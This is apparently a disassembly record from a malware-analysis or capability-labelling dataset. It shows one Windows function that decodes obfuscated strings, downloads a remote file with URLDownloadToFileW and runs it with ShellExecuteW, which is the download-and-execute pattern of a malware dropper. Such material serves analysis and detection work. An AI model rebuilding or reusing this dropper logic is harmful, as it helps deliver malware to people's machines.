Function at 0x407ef0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4490e5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x68
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], 0
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x40876f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push str.RHA1QdGEHTRksjpBVwQPeVVC0B2IeOWhcl0E10RWeVVR
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.004038c0
test al, al
jne 0x407f55
push 0x2c
push str.RHA1QdGEHTRksjpBVwQPeVVC0B2IeOWhcl0E10RWeVVR
lea ecx, [ebp - 0x10]
call fcn.00403de0
mov byte [ebp - 4], 2
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x408779
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.RzdQkSyZCEJCQYKQiAvfJkM1zOQ
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.004038c0
test al, al
jne 0x407f97
push 0x1d
push str.RzdQkSyZCEJCQYKQiAvfJkM1zOQ
lea ecx, [ebp - 0x20]
call fcn.00403de0
mov byte [ebp - 4], 4
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x408783
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.blhPRdkA97NxM
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.004038c0
test al, al
jne 0x407fd9
push 0xe
push str.blhPRdkA97NxM
lea ecx, [ebp - 0x14]
call fcn.00403de0
mov byte [ebp - 4], 6
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x40878d
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.S2VyDUC8JZLSYujF08
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 7
call fcn.004038c0
test al, al
jne 0x40801b
push 0x13
push str.S2VyDUC8JZLSYujF08
lea ecx, [ebp - 0x18]
call fcn.00403de0
mov byte [ebp - 4], 8
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x408797
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.djJ35TBJd9ACIa1XRYoXH1wQ
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 9
call fcn.004038c0
test al, al
jne 0x40805d
push 0x18
push str.djJ35TBJd9ACIa1XRYoXH1wQ
lea ecx, [ebp - 0x1c]
call fcn.00403de0
mov byte [ebp - 4], 0xa
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4087a1
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0xb
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4087ab
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x68], esi
mov byte [ebp - 4], 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [edi + 0x14], 8
push eax
push 0x45e9a0
jb 0x4080b1
mov edi, dword [edi]
mov eax, dword [ebp - 0x10]
push edi
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x64], edi
mov ecx, eax
mov dword [ebp - 0x64], eax
call fcn.0040b1d0
add eax, 0x10
lea ecx, [ebp - 0x38]
mov dword [edi], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0xd
push dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.0040b550
mov byte [ebp - 4], 0xc
or ebx, 0xffffffff
mov edx, dword [ebp - 0x38]
add esp, 0x14
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40810b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x60], edi
mov ecx, eax
mov dword [ebp - 0x60], eax
call fcn.0040b1d0
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.004023d0
add esp, 4
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xe
call fcn.00405cf0
add esp, 4
mov byte [ebp - 4], 0x10
mov eax, ebx
mov edx, dword [ebp - 0x40]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40815f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x18]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x5c], edi
mov ecx, eax
mov dword [ebp - 0x5c], eax
call fcn.0040b1d0
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x11
lea edx, [ebp + 8]
cmp dword [ebp + 0x1c], 8
jb 0x40819d
mov edx, dword [ebp + 8]
test edx, edx
jne 0x40819d
xor ecx, ecx
jmp 0x4081b1
mov ecx, edx
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4081a2
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x30]
call fcn.0040b060
push ecx
mov ecx, dword [ebp - 0x30]
mov edi, esp
add ecx, 0xfffffff0
mov dword [ebp - 0x54], esp
mov dword [ebp - 0x58], edi
call fcn.0040b1d0
add eax, 0x10
mov dword [edi], eax
push ecx
mov byte [ebp - 4], 0x12
mov ebx, esp
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x50], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov ecx, eax
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x58], eax
call fcn.0040b1d0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004023d0
mov ebx, esp
mov byte [ebp - 4], 0x13
push ecx
mov edi, esp
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0040b1d0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x11
call fcn.00407260
mov edi, dword [ebp - 0x3c]
add esp, 0xc
push 0
push 0
push dword [ebp - 0x34]
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
call fcn.00401620
mov ecx, eax
test ebx, ebx
je 0x408410
test ecx, ecx
je 0x4087c9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x14
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4087b5
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.NHFhmZlEDdEwlGtLgIJCUBRcCQxdBZUFZM
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x15
call fcn.004038c0
test al, al
jne 0x4082b0
push 0x22
push str.NHFhmZlEDdEwlGtLgIJCUBRcCQxdBZUFZM
lea ecx, [ebp - 0x24]
call fcn.00403de0
mov byte [ebp - 4], 0x16
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4087bf
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.eUlZFcR0l8BhQLgOzYD
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x17
call fcn.004038c0
test al, al
jne 0x4082f2
push 0x13
push str.eUlZFcR0l8BhQLgOzYD
lea ecx, [ebp - 0x28]
call fcn.00403de0
push ebx
push ecx
mov byte [ebp - 4], 0x18
mov ebx, esp
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x4c], eax
call fcn.0040b1d0
add eax, 0x10
lea ecx, [ebp - 0x44]
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040b550
mov byte [ebp - 4], 0x18
add esp, 0xc
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40834e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov ebx, esp
mov dword [ebp - 0x54], esp
mov dword [ebp - 0x50], ebx
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0040b1d0
add eax, 0x10
mov dword [ebx], eax
push ecx
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6c], esp
add eax, 0xfffffff0
mov dword [ebp - 0x44], esp
push ecx
mov ebx, esp
mov ecx, eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x48], eax
call fcn.0040b1d0
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x44], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov ecx, dword [ebp - 0x38]
call fcn.0040b1d0
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x18
call fcn.00407260
mov edx, dword [ebp - 0x48]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 4], 0x16
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4083e9
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x14
mov eax, ebx
mov edx, dword [ebp - 0x4c]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408404
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x50]
jmp 0x408619
test ecx, ecx
je 0x4087c9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.aGhGpbBscPJx4ciNy8CWGxwn2AAQ
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1c
call fcn.004038c0
test al, al
jne 0x408447
push 0x1d
push str.aGhGpbBscPJx4ciNy8CWGxwn2AAQ
lea ecx, [ebp - 0x28]
call fcn.00403de0
mov byte [ebp - 4], 0x1d
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4087d3
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.c1ZRBZRwmHNAs
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x1e
call fcn.004038c0
test al, al
jne 0x408489
push 0xe
push str.c1ZRBZRwmHNAs
lea ecx, [ebp - 0x2c]
call fcn.00403de0
mov byte [ebp - 4], 0x1f
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x4087dd
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.TVdPRemIcIQ4oyJSEbEIQ
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x20
call fcn.004038c0
test al, al
jne 0x4084cb
push 0x18
push str.TVdPRemIcIQ4oyJSEbEIQ
lea ecx, [ebp - 0x24]
call fcn.00403de0
push ecx
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0x70], esp
push 0x453c02
call fcn.00403000
push ecx
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x50], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x54], eax
call fcn.0040b1d0
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x50], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x4c], ebx
mov ecx, dword [ebp - 0x38]
call fcn.0040b1d0
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x21
call fcn.00407260
add esp, 0xc
push 5
push 0
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0040b1d0
add eax, 0x10
lea ecx, [ebp - 0x4c]
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x24
push dword [eax]
push dword [ebp - 0x34]
push ecx
mov ebx, esp
mov dword [ebp - 0x70], ebx
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0040b1d0
add eax, 0x10
lea ecx, [ebp - 0x50]
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov edx, dword [ebp - 0x50]
or ebx, 0xffffffff
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4085be
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x21
mov eax, ebx
mov edx, dword [ebp - 0x4c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4085dc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, ebx
mov byte [ebp - 4], 0x1f
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4085f7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x1d
mov eax, ebx
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408612
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x54]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40862d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x10
mov eax, ebx
mov edx, dword [ebp - 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40864b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov eax, ebx
mov edx, dword [ebp - 0x34]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408669
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xb
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x408684
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xa
add edi, 0xfffffff0
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x40869f
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
mov eax, ebx
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4086ba
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
mov eax, ebx
mov byte [ebp - 4], 6
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4086d5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x60]
mov eax, ebx
mov byte [ebp - 4], 4
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4086f0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 2
mov eax, ebx
mov edx, dword [ebp - 0x38]
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40870b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x64]
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x408724
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x40875e
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x408754
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e7
push ecx
push edx
call fcn.00423ef7
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
call fcn.00428ab3
int3